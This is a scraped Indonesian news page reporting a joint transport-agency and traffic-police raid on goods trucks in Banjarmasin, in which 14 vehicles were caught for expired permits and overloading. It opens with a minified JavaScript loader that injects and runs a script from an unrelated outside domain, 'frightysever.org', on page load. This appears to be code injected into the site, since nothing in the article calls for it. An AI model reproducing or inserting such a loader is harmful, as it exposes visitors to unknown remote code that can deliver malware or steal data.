(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perhubungan (Dishub) Kota Banjarmasin bersama Satuan Lalu Lintas (Satlantas) Polresta Banjarmasin gelar razia mobil angkutan barang, Selasa (12/9/2023) siang.
Operasi berlangsung di jalan H Anang Adenansi atau depan Taman Kamboja Banjarmasin itu memeriksa kelaikan mobil angkutan barang serta memeriksa surat-surat kendaraan.
Kepala Seksi Lalu Lintas Angkutan Jalan (LLAJ) Dishub Banjarmasin Hendra ST mengatakan, hasil operasi didapati sebanyak 14 mobil angkutan yang terjaring razia.
Baca juga: 19 Aset Sindikat Narkoba Internasional Fredy Pratama Disita di Banjarmasin
“Mulai roda empat dan roda enam, hingga yang dinyatakan tidak laik jalan karena surat menyurat KIR-nya sudah tidak berlaku hingga tidak punya KIR,” ungkapnya.
Hendra berharap dengan rutin dilaksanakan razia, dapat meminimalisir pelanggaran angkutan barang yang masuk wilayah Banjarmasin.
“Kita berharap angkutan barang di Kota Banjarmasin bisa menjadi lebih tertib dan laik jalan dan ukuran dimensinya yang dibawa mobil angkutannya sesuai,” harapnya.
Baca jua: Pemprov Kalsel Targetkan GOR Indoor Selesai 15 Desember 2023
KBO Satlantas Polresta Banjarmasin Iptu Sunaryanto mengatakan, operasi gabungan juga digelar untuk mensosialisasikan Perwali Nomor 8 Tahun 2022 tentang jam operasional masuk kota serta Undang-Undang Lalu Lintas pasal 288 ayat 3 tentang Over Dimension dan Over Loading.
Hasil giat di jalan Anang Adenansi tidak ditemukan kendaraan angkutan barang yang melanggar jam operasional masuk kota.
“Tapi masih ada beberapa angkutan barang yang melanggar terkait muatan yang dibawanya dan surat-menyurat kendaraannya tidak berlaku,” ungkapnya.
Baca juga: BPBD Banjar Pelatihan Katana di Martapura Barat
Sekada diketahui, mobil angkutan Over Dimension dan Over Load (ODOL) merupakan mobil yang memiliki ukuran panjang, lebar dan tinggi melebihi standar sesuai dengan jenis kendaraan dan ketentuan yang berlaku.
Sementara itu, kendaraan over loading adalah mobil angkutan barang yang mengangkut barang dengan tonase yang berlebih dari standar dan ketentuan yang berlaku. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Sekretaris Daerah (Sekda) Kota Banjarbaru Sirajoni menyampaikan dibalik efisiensi anggaran harus memberi… Read More
KANALKALIMANTAN.COM, PARINGIN - Kerusakan jalan di kawasan Muara Pitap - Lingsir dikeluhkan masyarakat pengguna jalan.… Read More
KANALKALIMANTAN.COM, MARTAPURA - Mahasiswa profesi ners Universitas Lambung Mangkurat (ULM) menggelar penyuluhan Keluarga Berencana (KB)… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati Kapuas Dodo turun langsung ke pasar besar Kuala Kapuas… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melantik 33 Penjabat (Pj) Kepala Desa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menggelar forum konsultasi publik penyelenggaraan Mal Pelayanan Publik… Read More
This website uses cookies.